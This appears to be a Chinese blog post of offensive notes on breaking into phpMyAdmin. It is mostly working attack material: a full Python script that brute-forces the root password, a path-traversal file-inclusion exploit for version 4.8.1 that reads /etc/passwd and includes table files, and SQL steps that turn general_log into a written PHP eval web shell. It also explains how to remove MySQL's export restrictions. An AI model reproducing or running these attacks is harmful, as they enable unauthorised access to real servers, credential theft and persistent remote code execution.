phpmyadmin

phpMyAdmin 4.7.x CSRF 漏洞利用

https://xz.aliyun.com/t/2384

phpmyadmin登陆爆破.py

https://paper.tuisec.win/detail/686fd5f60e469d2

思路可参考,代码根据版本修改,有token就没办法爆破。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: IcySun
# 脚本功能:暴力破解phpMyadmin密码
from Queue import Queue
import threading,sys
import requests
def use():
print '#' * 50
print '\t Crack Phpmyadmin root\'s pass'
print '\t\t\t Code By: IcySun'
print '\t python crackPhpmyadmin.py http://xx.com/phpmyadmin/ \n\t (default user is root)'
print '#' * 50
def crack(password):
global url
payload = {'pma_username': 'root', 'pma_password': password}
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
r = requests.post(url, headers = headers, data = payload)
if 'name="login_form"' not in r.content:
print '[*] OK! Have Got The Pass ==> %s' % password
class MyThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
global queue
while not queue.empty():
password = queue.get()
crack(password)
def main():
global url,password,queue
queue = Queue()
url = sys.argv[1]
passlist = open('password.txt','r')
for password in passlist.readlines():
password = password.strip()
queue.put(password)
for i in range(10):
c = MyThread()
c.start()
if __name__ == '__main__':
if len(sys.argv) != 2 :
use()
else:
main()

phpmyadmin4.8.1后台getshell

https://xz.aliyun.com/t/2399
文件包含

http://192.168.0.37/phpmyadmin481/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

poc:
创建一个表,字段名为一句话

找到对应的数据库文件

select variables like "%char%";


select @@datadir;

文件包含表文件

http://192.168.0.37/phpmyadmin481/index.php?target=db_sql.php%253f/../../../../../../var/lib/mysql/test/yesi.frm

思路很精妙。如果目标在linux下,因为/var/lib/mysql的权限为700,会包含失败。window没有限制。
试一试以下的方法

通过 phpmyadmin getshell

https://www.cnblogs.com/Oran9e/p/8873091.html
https://bbs.ichunqiu.com/thread-41091-1-1.html?from=snew
general_log默认为关闭的,root权限开启后,general_log_file会保存所有的查询语句
可以开启general_log,然后设置general_log_file为一个php文件,最后用一句话木马进行查询来获取shell

show variables like '%general%';


SET GLOBAL general_log = ON;


开启成功

然后把general_log_file设置为shell的绝对路径

SET global general_log_file='/var/www/html/yesi.php';

然后执行SQL查询语句,写个一句话进去。

SELECT '<?php @eval($_POST["orange"]);?>';

访问yesi.php 即可得到一句话。

into outfile限制

show variables like '%secure%';


secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
因为 secure_file_priv 参数是只读参数,不能使用set global命令修改。
解决方法:
打开my.cnf 或 my.ini,加入以下语句后重启mysql。

secure_file_priv=''  

/etc/init.d/mysql restart

MySQL配置文件my.ini或my.cnf的位置
1、Windows下MySQL的配置文件是my.ini,一般会在安装目录的根目录。

2、Linux下MySQL的配置文件是my.cnf,一般会放在/etc/my.cnf,/etc/mysql/my.cnf。如果找不到,可以用find命令查找。

phpMyAdmin
4.0.1 – 4.0.10.6
4.1.1 – 4.1.14.7
4.2.1 – 4.2.12
任意文件包含漏洞:http://www.91ri.org/11575.html

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器